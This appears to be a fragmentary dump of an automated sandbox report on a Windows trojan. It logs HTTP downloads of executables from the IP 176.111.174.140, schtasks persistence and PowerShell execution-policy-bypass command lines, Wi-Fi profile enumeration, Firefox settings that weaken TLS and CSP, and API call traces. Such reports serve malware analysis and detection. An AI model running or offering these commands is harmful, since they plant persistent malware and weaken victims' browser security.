text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "type" in header "GET /nikzbi.exe HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "/schuste" in header "GET /schuste.exe HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "cacheContent" in header "GET /schuste.exe HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "type" in header "GET /schuste.exe HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "Keep" in header "GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive"32:T1d34,"GET /event.php HTTP/1.1 User-Agent: Mozilla/5.0 Host: 176.111.174.140 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:11:11 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Disposition: inline; filename="zbi.exe" Transfer-Encoding: chunked Content-Type: application/octet-stream with response body ==>35303830300D0A4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000....... "GET /api/update.pack HTTP/1.1 User-Agent: NIKMOK Host: 176.111.174.140 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:11:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sat 27 Jul 2024 22:48:02 GMT ETag: "42400-61e426b9bbc60" Accept-Ranges: bytes Content-Length: 271360 with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F0000000....... "GET /api/update2.pack HTTP/1.1 User-Agent: NIKMOK Host: 176.111.174.140 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:11:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu 06 Jun 2024 17:04:07 GMT ETag: "15a00-61a3babc14dc4" Accept-Ranges: bytes Content-Length: 88576 with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E8000000....... "GET /PPGcgnyW.exe HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:11:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Fri 26 Jul 2024 17:05:11 GMT ETag: "be00-61e2983a17d40" Accept-Ranges: bytes Content-Length: 48640 Connection: close Content-Type: application/x-msdownload with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /PPGcgnyW.exe HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:11:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Fri 26 Jul 2024 17:05:11 GMT ETag: "be00-61e2983a17d40" Accept-Ranges: bytes Content-Length: 48640 Connection: close Content-Type: application/x-msdownload with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /nikzbi.exe HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:11:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed 31 Jul 2024 13:47:25 GMT ETag: "532a00-61e8b559ddd03" Accept-Ranges: bytes Content-Length: 5450240 Connection: close Content-Type: application/x-msdownload with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F8000000....... "GET /schuste.exe HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:11:24 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon 29 Jul 2024 23:58:55 GMT ETag: "57e124-61e6ba4cd50f7" Accept-Ranges: bytes Content-Length: 5759268 Connection: close Content-Type: application/x-msdownload with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F8000000....... "GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:12:33 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=7NhBrHmciFrLQn4hp5wMPkWWq_ace_QxbUEvHPQLgjo-1722481953-1.0.1.1-KRSGBWwIxlR.BCRISc4heRN7Wg_BYvfr6QkjiscbzxcbdMaxeiY.h9ND9iF3yIdRfgINcVpIySIrHIrXyirIJw; path=/; expires=Thu 01-Aug-24 03:42:33 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8ac2a5b019ea7ab0-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /event.php HTTP/1.1 User-Agent: Mozilla/5.0 Host: 176.111.174.140 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:13:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Disposition: inline; filename="zbi.exe" Transfer-Encoding: chunked Content-Type: application/octet-stream with response body ==>35303830300D0A4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000....... "GET /api/update.pack HTTP/1.1 User-Agent: NIKMOK Host: 176.111.174.140 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:13:29 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sat 27 Jul 2024 22:48:02 GMT ETag: "42400-61e426b9bbc60" Accept-Ranges: bytes Content-Length: 271360 with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F0000000....... "GET /api/update2.pack HTTP/1.1 User-Agent: NIKMOK Host: 176.111.174.140 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:13:30 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu 06 Jun 2024 17:04:07 GMT ETag: "15a00-61a3babc14dc4" Accept-Ranges: bytes Content-Length: 88576 with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E8000000....... "GET /event.php HTTP/1.1 User-Agent: Mozilla/5.0 Host: 176.111.174.140 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:13:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Disposition: inline; filename="zbi.exe" Transfer-Encoding: chunked Content-Type: application/octet-stream with response body ==>35303830300D0A4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000....... "GET /api/update.pack HTTP/1.1 User-Agent: NIKMOK Host: 176.111.174.140 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:14:01 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sat 27 Jul 2024 22:48:02 GMT ETag: "42400-61e426b9bbc60" Accept-Ranges: bytes Content-Length: 271360 with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F0000000....... "GET /api/update2.pack HTTP/1.1 User-Agent: NIKMOK Host: 176.111.174.140 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:14:01 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu 06 Jun 2024 17:04:07 GMT ETag: "15a00-61a3babc14dc4" Accept-Ranges: bytes Content-Length: 88576 with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E8000000.......33:T1943,Spawned process "ee5db.Trojan.exe" (UID: 00000000-00004344) Spawned process "svcwhost.exe" (UID: 00000000-00005968) Spawned process "Netflix_Checker.exe" (UID: 00000000-00006396) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{3E3CE09031442691943543}\\{3E3CE09031442691943543}.exe" /sc onstart /f" (UID: 00000000-00004584) Spawned process "WerFault.exe" with commandline "-pss -s 440 -p 6396 -ip 6396" (UID: 00000000-00004356) Spawned process "WerFault.exe" with commandline "-u -p 6396 -s 1072" (UID: 00000000-00004956) Spawned process "WerFault.exe" with commandline "-u -p 6396 -s 1072" (UID: 00000000-00008036) Spawned process "?3E3CE09031442691943543?.exe" (UID: 00000000-00008620) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{A068533DBF09758809014}\\{A068533DBF09758809014}.exe" /sc onstart /f" (UID: 00000000-00007672) Spawned process "relog.exe" (UID: 00000000-00002932) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "hrxmx1BJRn" /tr "%APPDATA%\\Adobe\\Service_Adobe.exe" /sc onstart /f" (UID: 00000000-00000696) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Identities\\Service_Identities.exe" /sc onstart /f" (UID: 00000000-00005660) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Macromedia\\Service_Macromedia.exe" /sc onstart /f" (UID: 00000000-00004988) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Microsoft\\Service_Microsoft.exe" /sc onstart /f" (UID: 00000000-00007376) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Mozilla\\Service_Mozilla.exe" /sc onstart /f" (UID: 00000000-00005884) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Sun\\Service_Sun.exe" /sc onstart /f" (UID: 00000000-00005868) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Wireshark\\Service_Wireshark.exe" /sc onstart /f" (UID: 00000000-00008856) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\{3E3CE09031442691943543}\\Service_{3E3CE09031442691943543}.exe" /sc onstart /f" (UID: 00000000-00009000) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\{A068533DBF09758809014}\\Service_{A068533DBF09758809014}.exe" /sc onstart /f" (UID: 00000000-00008420) Spawned process "492C.tmp.PPGcgnyW.exe" (UID: 00000000-00006496) Spawned process "4CA8.tmp.PPGcgnyW.exe" (UID: 00000000-00008116) Spawned process "cmd.exe" with commandline "/c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"%APPDATA%\\svchost.exe"' & exit" (UID: 00000000-00005012) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%TEMP%\\tmp62BF.tmp.bat""" (UID: 00000000-00007832) Spawned process "61B7.tmp.nikzbi.exe" (UID: 00000000-00004980) Spawned process "cmd.exe" with commandline "/c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"%APPDATA%\\svchost.exe"' & exit" (UID: 00000000-00005932) Spawned process "timeout.exe" with commandline "timeout 3" (UID: 00000000-00002408) Spawned process "schtasks.exe" with commandline "schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"%APPDATA%\\svchost.exe"'" (UID: 00000000-00007128) Spawned process "schtasks.exe" with commandline "schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"%APPDATA%\\svchost.exe"'" (UID: 00000000-00005116) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%TEMP%\\tmp686C.tmp.bat""" (UID: 00000000-00004184) Spawned process "timeout.exe" with commandline "timeout 3" (UID: 00000000-00008844) Spawned process "svchost.exe" (UID: 00000000-00001480) Spawned process "svchost.exe" (UID: 00000000-00005552) Spawned process "7502.tmp.schuste.exe" (UID: 00000000-00006816) Spawned process "7502.tmp.schuste.exe" (UID: 00000000-00009140) Spawned process "cmd.exe" with commandline "/c start /b powershell \u2013ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\\gbztuy.exe"' & exit" (UID: 00000000-00009192) Spawned process "powershell.exe" with commandline "powershell \u2013ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\\gbztuy.exe"'" (UID: 00000000-00000860) Spawned process "gbztuy.exe" (UID: 00000000-00008120) Spawned process "cmd.exe" with commandline "/c start /b powershell \u2013ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\\cgyskb.exe"' & exit" (UID: 00000000-00007116) Spawned process "powershell.exe" with commandline "powershell \u2013ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\\cgyskb.exe"'" (UID: 00000000-00008680) Spawned process "cgyskb.exe" (UID: 00000000-00007156) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "" /sc onstart /f" (UID: 00000000-00005620) Spawned process "relog.exe" (UID: 00000000-00004532) Spawned process "cmd.exe" with commandline "/C chcp 65001 && netsh wlan show profile | findstr All" (UID: 00000000-00006484) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00004248) Spawned process "netsh.exe" with commandline "netsh wlan show profile" (UID: 00000000-00004256) Spawned process "findstr.exe" with commandline "findstr All" (UID: 00000000-00002724) Spawned process "cmd.exe" with commandline "/C chcp 65001 && netsh wlan show networks mode=bssid" (UID: 00000000-00006752) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00007108) Spawned process "netsh.exe" with commandline "netsh wlan show networks mode=bssid" (UID: 00000000-00003792) Spawned process "Service_Macromedia.exe" (UID: 00000000-00007944) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{A068533DBF09758809014}\\{A068533DBF09758809014}.exe" /sc onstart /f" (UID: 00000000-00008940) Spawned process "relog.exe" (UID: 00000000-00008448) Spawned process "Service_Microsoft.exe" (UID: 00000000-00007896) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{A068533DBF09758809014}\\{A068533DBF09758809014}.exe" /sc onstart /f" (UID: 00000000-00006736)34:Tdf7,Found string "AreFileApisANSI" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: KERNELBASE.DLL) Found string "CompareStringEx" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: KERNELBASE.DLL) Found string "GetDateFormatEx" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: KERNEL32.DLL) Found string "GetTimeFormatEx" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: KERNEL32.DLL) Found string "LCIDToLocaleName" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: KERNELBASE.DLL) Found string "LocaleNameToLCID" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: KERNELBASE.DLL) Found string "log10" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: UCRTBASE.DLL) Found string "atan2" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: UCRTBASE.DLL) Found string "floor" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: UCRTBASE.DLL) Found string "ldexp" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: UCRTBASE.DLL) Found string "frexp" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: UCRTBASE.DLL) Found string "MessageBoxW" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: USER32.DLL) Found string "GetActiveWindow" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: USER32.DLL) Found string "GetLastActivePopup" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: USER32.DLL) Found string "GetUserObjectInformationW" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: USER32.DLL) Found string "GetProcessWindowStation" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: USER32.DLL) Found string "system" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: UCRTBASE.DLL) Found string "CreateProcessInternalW" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: KERNEL32.DLL) Found string "RtlCreateProcessParametersEx" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: NTDLL.DLL) Found string "NtCreateProcessEx" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: NTDLL.DLL) Found string "NtCreateThreadEx" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: NTDLL.DLL) Found string "NtQueryInformationFile" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: NTDLL.DLL) Found string "NtQuerySystemInformation" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: NTDLL.DLL) Found string "NtSuspendProcess" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: NTDLL.DLL) Found string "NtResumeProcess" (Source: ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae, API is part of module: NTDLL.DLL)35:T8dc,"Netflix_Checker.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "Netflix_Checker.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "Netflix_Checker.exe" trying to access non-existent file "C:\NETFLIX_CHECKER.EXE.CONFIG" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "Netflix_Checker.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NETFLIX_CHECKER.EXE.LOG" "Netflix_Checker.exe" trying to access non-existent file "C:\Netflix_Checker.exe.config" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\NETFLIX VALCCBD406B#" "Netflix_Checker.exe" trying to access non-existent file "C:\NETFLIX_CHECKER.INI" "Netflix_Checker.exe" trying to access non-existent file "C:\Netflix_Checker.INI" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\MICROSOFT.V9921E851#" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\MICROSOFT.VISUALBASIC.INI" "Netflix_Checker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.INI" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.WINDOWS.FORMS" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.WINDOWS.FORMS.INI" "Netflix_Checker.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.INI" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.DRAWING"36:Ta24,"user_pref("security.csp.enable", false);" (Indicator: "user_pref("security.csp.enable",false);"; File: "ee5db. Trojan.exe"), "user_pref("security.enterprise_roots.enabled", true);user_pref("security.ssl.errorReporting.enabled", false);user_pref("security.ssl.errorReporting.url", "");user_pref("security.ssl.enable_false_start", true);user_pref("security.ssl.require_safe_negotiation", false);user_pref("security.ssl.treat_unsafe_negotiation_as_broken", false);user_pref("security.ssl3.ecdhe_ecdsa_rc4_128_sha", false);user_pref("security.ssl3.ecdhe_rsa_rc4_128_sha", false);user_pref("security.ssl3.rsa_rc4_128_md5", false);user_pref("security.ssl3.rsa_rc4_128_sha", false);user_pref("security.tls.version.enable-deprecated", true);user_pref("security.warn_entering_weak", false);user_pref("security.warn_viewing_mixed", false);user_pref("security.warn_viewing_mixed.show_once", false);" (Indicator: "user_pref("security.warn_viewing_mixed",false);"; File: "ee5db. Trojan.exe"), "user_pref("network.http.spdy.enabled.v3-1", false);user_pref("network.http.spdy.enabled.v3", false);user_pref("network.http.spdy.enabled", false);user_pref("browser.tabs.remote.autostart", false);user_pref("browser.tabs.remote.autostart.2", false);user_pref("gfx.direct2d.disabled", true);user_pref("layers.acceleration.disabled", true);user_pref("network.stricttransportsecurity.preloadlist", false);" (Indicator: "user_pref("network.http.spdy.enabled",false);"; File: "ee5db. Trojan.exe"), "user_pref("network.http.spdy.enabled.v3-1", false);" (Indicator: "user_pref("network.http.spdy.enabled.v3-1",false);"; File: "ee5db. Trojan.exe"), "user_pref("network.http.spdy.enabled.v3", false);" (Indicator: "user_pref("network.http.spdy.enabled.v3",false);"; File: "ee5db. Trojan.exe"), "user_pref("network.http.spdy.enabled", false);" (Indicator: "user_pref("network.http.spdy.enabled",false);"; File: "ee5db. Trojan.exe"), "user_pref("network.http.spdy.enabled", false);user_pref("network.http.spdy.enabled.http2", false);user_pref("network.http.spdy.enabled.http2draft", false);user_pref("network.http.spdy.enabled.v3-1", false);user_pref("network.http.spdy.enabled.v3", false);user_pref("network.http.spdy.enabled", false);user_pref("network.http.spdy.enabled.http2", false);user_pref("network.http.spdy.enabled.http2draft", false);user_pref("network.http.spdy.enabled", false);user_pref("network.http.spdy.enabled.v3-1", false);user_pref("network.http.spdy.enabled.v3", false);user_pref("network.http.spdy.enabled", false);" (Indicator: "user_pref("network.http.spdy.enabled",false);"; File: "ee5db. Trojan.exe")37:T75df,"ee5db.Trojan.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004344) "ee5db.Trojan.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00004344) "svcwhost.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" 